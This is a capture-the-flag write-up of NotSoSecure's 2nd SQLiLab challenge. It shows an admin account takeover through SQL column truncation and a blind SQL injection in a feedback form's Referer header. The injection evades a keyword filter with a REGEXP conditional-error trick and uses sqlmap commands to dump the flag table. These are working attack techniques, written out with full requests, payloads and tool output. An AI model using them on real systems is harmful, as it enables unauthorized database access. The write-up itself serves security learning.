NotSoSecure's 2nd SQLiLab CTF writeup

Posted on

This year’s Easter weekend featured NotSoSecure’s 2nd SQLiLab CTF event. The contest promised two flags to capture, and lasted about 72 hours (it ended up being extended due to some muppet’s DNS DoS attack against the game).

Let’s capture some flags.

Game on.

On the evening of Good Friday (at least, for those in or around my timezone) NotSoSecure sent out the “Game On!” email:

Dear fellow Hackers!,

Thanks for signing up for the 2nd SQLiLab CTF. The CTF is now on!

Before you go all out hacking the CTF, here are some rules of the engagement:

1. Strictly no brute-forcing. There is no need to brute-force anything. If we
see any excessive brute-forcing attempt, we will block your IP. :(

2. Any attempt to DoS the system will again result in us blocking your IP. We
want you to have fun but dont't spoil fun of other users :)

3. The CTF starts with a login page. Don't ask us for your credentials. The
login page is part of CTF!...:)

4. Follow us on twitter @notsosecure for hints and updates.

5. If you find a bug and report responsibly, we will credit you.

   Plz mail us ctf@notsosecure.com

6. The CTF requires you to obtain 2 flags. When you have both the flags, mail
us at flags@notsosecure.com with subject CTF: Flags.

Finally, the link of CTF is:
http://ctf.notsosecure.com/9128938921839838/


Happy Hacking

SQliLab Team
http://www.securitytube-training.com/virtual-labs/sql-injection-labs/index.html

Two flags, hey? Let’s do this.

Flag one

Browsing to http://ctf.notsosecure.com/9128938921839838/ we see a login screen. According to NotSoSecure’s email, this is part of the challenge. From here, I discovered two ways to proceed:

  1. Accidentally guess a valid username/password that someone else has created, end up logged in, click Logout and see a link to the Registration form at R3gi5t3r.html. This is the way I managed to take, spoiling the real challenge (which I stumbled upon and solved eventually)
  2. The intended way

The intended way forward

Viewing the source of login.php we see:

<!--H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA -->
</body>
</html>

This looks like it could be base64 encoded data (it could be a lot of things). Decoding it as such gives us:

% echo -n 'H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA' | base64 -d | xxd
0000000: 1f8b 0800 0000 0000 0000 0b32 4ecf 342d  ...........2N.4-
0000010: 312e d2cb 28c9 cd01 0023 3319 850d 0000  1...(....#3.....
0000020: 00                                       .

1f8b looks like the magic number for gzip. file agrees with us:

% echo -n 'H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA' | base64 -d > ~/tmp/out
% file !$
file ~/tmp/out
/home/user/tmp/out: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

And so what does it have to say?

% zcat !$
zcat ~/tmp/out
R3gi5t3r.html

Let’s R3gi5t3r

The registration form is straightforward:

<FORM ACTION="register.php" METHOD=get>
<h1>Register</h1>
<table border="0" class="table">
<tr>
<td><input name="regname" type="text" size="20" placeholder="username" required/></td>
</tr>
<tr>
<td><input name="regemail" type="text" size="20" placeholder="email" required/></td>
</tr>
<tr>
<td><input name="regpass1" placeholder="password" type="password" size="20" required/></td>
</tr>
<tr>
	<td><input name="regpass2" placeholder="confirm password" type="password" size="20" required/></td>
</tr>
<tr>
	<td><input class="btn" type="submit" value="register me!"></input></td>
</tr>
</table>
</FORM>

Submitting it results in a GET (go figure…)

GET /9128938921839838/register.php?regname=justinsteven&regemail=j%40email.com&regpass1=passworddd&regpass2=passworddd HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/R3gi5t3r.html
Cookie: PHPSESSID=b08509vunp2l41dm62rfl1ubl2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 18 Apr 2014 09:13:19 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 3409
Connection: close
Content-Type: text/html

<SNIP>
<h3 style="text-align: center;font-size: 30px;">You have registered successfully</h3>
<center><br/><a href='login.php' style="text-align: center;color:#DD0505;"> Go to login page</a></center>

Logging in to our new account at login.php gives us:

NotSoSecure's 2nd SQLiLab CTF writeup /images/201404_notsosecure_not_admin.jpg

So, from this page I gleaned a few things:

  • I am not Admin (you don’t say)
  • I am logged in as justinsteven

I took a punt that, due to the wording they used, I perhaps wanted my username to be equal (or at least similar) to “Admin”. Actually - I took a lot of punts that ended up being dead-ends, this was just the one that worked ;)

Becoming Admin

Of course, one cannot simply register as Admin as that username is taken.

GET /9128938921839838/register.php?regname=admin&regemail=j%40email.com&regpass1=passworddd&regpass2=passworddd HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/R3gi5t3r.html
Cookie: PHPSESSID=b08509vunp2l41dm62rfl1ubl2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 13:27:36 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 3327
Connection: close
Content-Type: text/html

<SNIP>
<h3 style="text-align: center;font-size: 30px;">User Already Exists!</h3>
<SNIP>

(hey, I had to try it)

At some point in my testing, I noticed that there was some sort of 20 character limit to usernames.

  • Register as a123456789a123456789 (20 characters) - able to log in as a123456789a123456789
  • Register as a123456789a12345678bc (21 characters) - not able to log in as a123456789a12345678bc but I can log in as the first 20 characters thereof (a123456789a12345678b) and the page then tells me I’m not Admin, but I am a123456789a12345678b.

Hmmmm…..

Turns out this is an attack called SQL Column Truncation and it lets us do the following:

  1. Register as ‘admin                 justinsteven’ (“admin” + " “*17 + “justinsteven”)
  2. Log in as admin with the password as per 1.

This is because the username will be truncated at the database layer upon registration to the 20 character string ‘admin               ’ (“admin” + " “*15) - thankfully there is no uniqueness constraint on the username field. Then, when we go to log in, the DBMS may well ignore the trailing whitespace in the username and allow us to log in with our known password.

We can see MySQL interactively ignoring trailing whitespace as follows:

mysql> SELECT IF("a      "="a",1,0);
+-----------------------+
| IF("a      "="a",1,0) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)

We register as ‘admin                 justinsteven’:

GET /9128938921839838/register.php?regname=admin+++++++++++++++++justinsteven&regemail=j%40email.com&regpass1=passworddd&regpass2=passworddd HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/R3gi5t3r.html
Cookie: PHPSESSID=b08509vunp2l41dm62rfl1ubl2
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 13:45:28 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 3409
Connection: close
Content-Type: text/html

<SNIP>
<h3 style="text-align: center;font-size: 30px;">You have registered successfully</h3>
<SNIP>

And we then log in as ‘admin’ with our known password.

NotSoSecure's 2nd SQLiLab CTF writeup /images/201404_notsosecure_admin.jpg

Flag two

Once we’re logged in as Admin, we’re given a link to a feedback form:

<p>Please provide us</p>
<center>
<a class="btn" href="f33db4ck_flag/index.php">feedback</a>
</center>

Clicking the link gives us a form, for feedback:

<form action="submit.php" method="POST">
<input placeholder="name" name="name">
<input type="email" placeholder="email" name="email">
<textarea placeholder="Type Here" name="message"></textarea>
<input class="btn" type="submit" value="Submit" name="submit">
</form>

When submitted, we get a thank you message. Though it’s of little consequence (just makes testing a bit easier) note that we don’t need the Admin PHPSESSID cookie to do so:

POST /9128938921839838/f33db4ck_flag/submit.php HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

name=my+name&email=my%40email.com&message=my+message&submit=Submit
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 05:15:25 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 2669
Connection: close
Content-Type: text/html

<SNIP>
<div class="search_sql4">
<h2>Thanks!, we will be in touch...</h2>
</div>
<SNIP>

Now, moving away from the browser and over to Burp’s Repeater, can we make this page fall over at all? Let’s start by adding quotes and double quotes to all fields including referer, the PHPSESSID cookie (we’ll bring back a dud cookie in case it’s the victim), User Agent string, the page’s querystring (in case it’s being logged anywhere), and the POST parameter values.

POST /9128938921839838/f33db4ck_flag/submit.php?a=a'" HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0'"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/index.php'"
Cookie: PHPSESSID=foobar'"
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

name=my+name'"&email=my%40email.com'"&message=my+message'"&submit=Submit'"
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 05:21:35 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 2669
Connection: close
Content-Type: text/html

<SNIP>
<div class="search_sql4">
<h2>Thanks!, we will be in touch...</h2>
</div>
<SNIP>

We get the same Content-Length and same response. No dice here.

Let’s try URL-encoding all of our quotes.

POST /9128938921839838/f33db4ck_flag/submit.php?a=a%27%22 HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0%27%22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/index.php%27%22
Cookie: PHPSESSID=foobar%27%22
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

name=my+name%27%22&email=my%40email.com%27%22&message=my+message%27%22&submit=Submit%27%22
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 05:23:43 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 2645
Connection: close
Content-Type: text/html

<SNIP>
<div class="search_sql4">
Error Occured :(
<SNIP>

Ha! Interesting. The page has changed (different Content-Length) and we see an error where we used to see a thank you message.

By a process of elimination, we see that it is a URL-encoded single quote in referer that is throwing it off. Our most basic request that throws an error is:

POST /9128938921839838/f33db4ck_flag/submit.php HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: a%27
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

name=my+name&email=my%40email.com&message=my+message&submit=Submit
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 05:27:43 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 2645
Connection: close
Content-Type: text/html

<SNIP>
<div class="search_sql4">
Error Occured :(
<SNIP>

At this stage, we presume the SQL statement on the backend looks something like:

INSERT INTO feedback (name, email, message, referer)
VALUES ('$NAME', '$EMAIL', '$MESSAGE', '$REFERER')

And we’re doing the following (note the extra ' at the end, causing a syntax error)

INSERT INTO feedback (name, email, message, referer)
VALUES ('my name', 'my@email.com', 'my message', 'a'')

So, the referer field is SQL injectable as long as quote characters are URL-encoded. Let’s keep playing…

Referer: a%27
-- Error Occured :( (we knew this already)

Referer: a%27%27
-- Thanks!, we will be in touch... (this results in 'a''' on the backend, which
-- ends up being "a'"

Referer: a%27+||+%27a
-- Thanks!, we will be in touch... (so we've got usable concatenation, or it at
-- least blindly feels like it. We're expecting that this ends up as 'a' || 'a')

Referer: a%27+||+(select+1)+||+%27a
-- Thanks!, we will be in touch... (we can use subqueries)

Referer: a%27+||+(select+user())+||+%27a
-- Thanks!, we will be in touch... (we can use functions)

Referer: a%27+||+(select+not_a_real_function())+||+%27a
-- Error Occured :( (fantastic, we get an error when calling a non-existent
-- function. This gives us validation that we're really in control in our
-- subquery)

Looking gooood. Let’s move in for the kill and see if we can gain time-based blind injection…

POST /9128938921839838/f33db4ck_flag/submit.php HTTP/1.1
Host: ctf.notsosecure.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Iceweasel/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: a%27+||+(select+BENCHMARK(5000000,MD5(%27a%27)))+||+%27a
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

name=my+name&email=my%40email.com&message=my+message&submit=Submit
HTTP/1.1 200 OK
Date: Sun, 20 Apr 2014 05:50:51 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.11
Vary: Accept-Encoding
Content-Length: 1433
Connection: close
Content-Type: text/html

<SNIP>
<div class="search_sql4">
<h3>Attack detected </h3><br> <a href="index.php">Click here to go back</a>

“Attack detected”

NotSoSecure's 2nd SQLiLab CTF writeup https://i.imgur.com/p3I63tp.gif

There’s probably a check for certain SQL keywords. Blast. Let’s see if we can evade it.

Referer: benchmark
-- Attack Detected

Referer: benchmar
-- Thanks!, we will be in touch... (we can see that they're matching on the full
-- word 'benchmark')

Referer: sleep
-- Attack Detected

Referer: BenCHmArK
-- Attack Detected

Referer: SlEeP
-- Attack Detected

Referer: a%27+||+(select+BENCH/**/MARK(5000000,MD5(%27a%27)))+||+%27a
-- Error Occured :( (can't break the word benchmark up using an empty comment)

No good. I’ve still got a good feeling about this… We know that we can see when the SQL syntax is valid vs. invalid, but we can’t gain control over the execution time to get time-based blind injection.

After some deep thought, Easter chocolate and Googling, I came across Haxxor Security - Speeding up Blind SQL Injections using Conditional Errors in MySQL

“what if we could conditionally generate such an error instead of relying on conditionally delaying and timing a request using functions such as BENCHMARK or SLEEP?”

Perfect! Delving into the article, we see how such wizardry works:

“in both MySQL 4 and 5, there exists an operator named REGEXP (and it’s synonym RLIKE). This operator is used for pattern matching using regular expressions. […] if an incorrect pattern like this empty string is supplied, MySQL will throw an error […] SELECT 1 REGEXP ’’ […] Combine the behaviour of REGEXP with MySQL’s IF function and conditional errors can be produced.”

Jumping into an interactive MySQL shell, we see how this works.

Proper use of REGEXP:

mysql> SELECT 1 REGEXP 1;
+------------+
| 1 REGEXP 1 |
+------------+
|          1 |
+------------+
1 row in set (0.02 sec)

Improper use of REGEXP:

mysql> SELECT 1 REGEXP '';
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

Triggering proper use of REGEXP using IF:

sql> SELECT 1 REGEXP IF(1=1,1,'');
+-----------------------+
| 1 REGEXP IF(1=1,1,'') |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.05 sec)

Triggering improper use of REGEXP using IF:

mysql> SELECT 1 REGEXP IF(1=0,1,'');
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

We should be able to embed this extremely tidy trick into our referer injection to gain an error-based boolean SQL injection ‘gadget’ (as I like to call it). We’re looking to get different responses when we ask it if “1=1” vs. “1=0”

Referer: a%27+||+(SELECT+1+REGEXP+IF(1%3d1,1,%27%27))+||+%27a
-- Thanks!, we will be in touch...

Referer: a%27+||+(SELECT+1+REGEXP+IF(1%3d0,1,%27%27))+||+%27a
-- Error Occured :(

Yahtzee! This is the toehold we need.

We presume this is how the backend is looking:

INSERT INTO feedback (name, email, message, referer)
VALUES ('my name', 'my@email.com', 'my message',
        'a' || (SELECT 1 REGEXP IF(1=1,1,'')) || 'a')
-- Thanks!, we will be in touch...

INSERT INTO feedback (name, email, message, referer)
VALUES ('my name', 'my@email.com', 'my message',
        'a' || (SELECT 1 REGEXP IF(1=0,1,'')) || 'a');
-- Error Occured :(

Using this boolean gadget we can extract anything we want from the database as long as we remember to URL-encode our ' characters and we avoid the magic words “benchmark” and “sleep”.

To make things easier, let’s teach this injection point to sqlmap. The paramters to sqlmap will be:

  • -u 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php' (the URL we’re POSTing to)
  • --data='name=my+name&email=my%40email.com&message=my+message&submit=Submit' (the feedback we’re giving ;) )
  • --referer='a%27 || (SELECT 1 REGEXP IF(1%3d1*,1,%27%27)) || %27a' (our referer with baked-in injection attack. We mark the boolean component with a * to tell sqlmap where to inject. Note that we’ve swapped out the + chars for real spaces, so that the charencode tamper script can encode them as %20 spaces.)
  • --string='Thanks!, we will be in touch...' (the text that sqlmap should look for in the returned page when the boolean injection evaluates to True)
  • --technique=B (blind boolean technique)
  • --tamper=charencode (URL-encode all characters, to ensure our '’s are encoded)

There might be more robust ways to teach this injection to sqlmap, but the above worked a treat.

% sqlmap.py \
  -u 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php' \
  --data='name=my+name&email=my%40email.com&message=my+message&submit=Submit' \
  --referer='a%27 || (SELECT 1 REGEXP IF(1%3d1*,1,%27%27)) || %27a' \
  --string='Thanks!, we will be in touch...' --technique=B --tamper=charencode

sqlmap/1.0-dev-cda27ec - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting at 17:02:18

[17:02:18] [INFO] loading tamper script 'charencode'
custom injection marking character ('*') found in option
'--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[17:02:20] [INFO] testing connection to the target URL
[17:02:21] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:02:21] [INFO] testing if the provided string is within the target URL page content
[17:02:22] [INFO] testing if (custom) HEADER parameter 'Referer #1*' is dynamic
[17:02:22] [INFO] confirming that (custom) HEADER parameter 'Referer #1*' is dynamic
[17:02:23] [INFO] (custom) HEADER parameter 'Referer #1*' is dynamic
[17:02:24] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Referer #1*' might not be injectable
[17:02:24] [INFO] testing for SQL injection on (custom) HEADER parameter 'Referer #1*'
[17:02:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:02:28] [INFO] (custom) HEADER parameter 'Referer #1*' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:02:34] [INFO] checking if the injection point on (custom) HEADER parameter 'Referer #1*' is a false positive
(custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 17 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a' || (SELECT 1 REGEXP IF(1=1 AND 9319=9319,1,'')) || 'a
---
[17:02:46] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:02:46] [INFO] testing MySQL
[17:02:47] [INFO] confirming MySQL
[17:02:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[17:02:48] [INFO] fetched data logged to text files under '/home/user/opt/sqlmap/output/ctf.notsosecure.com'

[*] shutting down at 17:02:48

Listing databases:

% sqlmap.py \
  -u 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php' \
  --data='name=my+name&email=my%40email.com&message=my+message&submit=Submit' \
  --referer='a%27 || (SELECT 1 REGEXP IF(1%3d1*,1,%27%27)) || %27a' \
  --string='Thanks!, we will be in touch...' --technique=B --tamper=charencode \
  --threads=8 --dbs

sqlmap/1.0-dev-cda27ec - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting at 17:06:04

[17:06:04] [INFO] loading tamper script 'charencode'
custom injection marking character ('*') found in option
'--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[17:06:05] [INFO] resuming back-end DBMS 'mysql'
[17:06:06] [INFO] testing connection to the target URL
[17:06:06] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:06:06] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a' || (SELECT 1 REGEXP IF(1=1 AND 9319=9319,1,'')) || 'a
---
[17:06:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:06:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5
[17:06:07] [INFO] fetching database names
[17:06:07] [INFO] fetching number of databases
[17:06:07] [INFO] resuming partial value: 2
[17:06:07] [INFO] retrieved:
[17:06:09] [INFO] retrieving the length of query output
[17:06:09] [INFO] retrieved: 18
[17:06:35] [INFO] retrieved: information_schema
[17:06:35] [INFO] retrieving the length of query output
[17:06:35] [INFO] retrieved: 5
[17:06:46] [INFO] retrieved: seven
available databases [2]:
[*] information_schema
[*] seven

[17:06:46] [INFO] fetched data logged to text files under '/home/user/opt/sqlmap/output/ctf.notsosecure.com'

[*] shutting down at 17:06:46

The DB named seven looks good. Listing tables…

% sqlmap.py \
  -u 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php' \
  --data='name=my+name&email=my%40email.com&message=my+message&submit=Submit' \
  --referer='a%27 || (SELECT 1 REGEXP IF(1%3d1*,1,%27%27)) || %27a' \
  --string='Thanks!, we will be in touch...' --technique=B --tamper=charencode \
  --threads=8 -D seven --tables

sqlmap/1.0-dev-cda27ec - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damag    
    e caused by this program

[*] starting at 17:07:46

[17:07:46] [INFO] loading tamper script 'charencode'
custom injection marking character ('*') found in option
'--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[17:07:48] [INFO] resuming back-end DBMS 'mysql'
[17:07:48] [INFO] testing connection to the target URL
[17:07:49] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:07:49] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a' || (SELECT 1 REGEXP IF(1=1 AND 9319=9319,1,'')) || 'a
---
[17:07:49] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:07:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5
[17:07:49] [INFO] fetching tables for database: 'seven'
[17:07:49] [INFO] fetching number of tables for database 'seven'
[17:07:49] [INFO] retrieved: 2
[17:07:55] [INFO] retrieving the length of query output
[17:07:55] [INFO] retrieved: 4
[17:08:06] [INFO] retrieved: flag
[17:08:06] [INFO] retrieving the length of query output
[17:08:06] [INFO] retrieved: 4
[17:08:18] [INFO] retrieved: temp
Database: seven
[2 tables]
+------+
| flag |
| temp |
+------+

[17:08:18] [INFO] fetched data logged to text files under '/home/user/opt/sqlmap/output/ctf.notsosecure.com'

[*] shutting down at 17:08:18

The table named flag looks especially good. Dumping contents…

% sqlmap.py \
  -u 'http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php' \
  --data='name=my+name&email=my%40email.com&message=my+message&submit=Submit' \
  --referer='a%27 || (SELECT 1 REGEXP IF(1%3d1*,1,%27%27)) || %27a' \
  --string='Thanks!, we will be in touch...' --technique=B --tamper=charencode \
  --threads=8 -D seven -T flag --dump

sqlmap/1.0-dev-cda27ec - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting at 17:09:02

[17:09:02] [INFO] loading tamper script 'charencode'
custom injection marking character ('*') found in option
'--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[17:09:04] [INFO] resuming back-end DBMS 'mysql'
[17:09:04] [INFO] testing connection to the target URL
[17:09:04] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:09:05] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a' || (SELECT 1 REGEXP IF(1=1 AND 9319=9319,1,'')) || 'a
---
[17:09:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[17:09:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5
[17:09:05] [INFO] fetching columns for table 'flag' in database 'seven'
[17:09:05] [INFO] retrieved: 1
[17:09:10] [INFO] retrieving the length of query output
[17:09:10] [INFO] retrieved: 4
[17:09:21] [INFO] retrieved: flag
[17:09:21] [INFO] fetching entries for table 'flag' in database 'seven'
[17:09:21] [INFO] fetching number of entries for table 'flag' in database 'seven'
[17:09:21] [INFO] retrieved: 1
[17:09:25] [INFO] retrieving the length of query output
[17:09:25] [INFO] retrieved: 7
[17:09:37] [INFO] retrieved: 1362390
[17:09:37] [INFO] analyzing table dump for possible password hashes
Database: seven
Table: flag
[1 entry]
+---------+
| flag    |
+---------+
| 1362390 |
+---------+

[17:09:37] [INFO] table 'seven.flag' dumped to CSV file '/home/user/opt/sqlmap/output/ctf.notsosecure.com/dump/seven/flag.csv'
[17:09:37] [INFO] fetched data logged to text files under '/home/user/opt/sqlmap/output/ctf.notsosecure.com'

[*] shutting down at 17:09:37

This looks like the second flag to me!

Final thoughts

Many thanks to the fine team at NotSoSecure! I thorougly enjoyed this CTF, and I’m pretty fascinated by that REGEXP trick - if you can get feedback from an SQL INSERT query as to whether an error was thrown or not, I think it’s much more attractive than resorting to time-based blind injection. Definitely one for the toolbelt.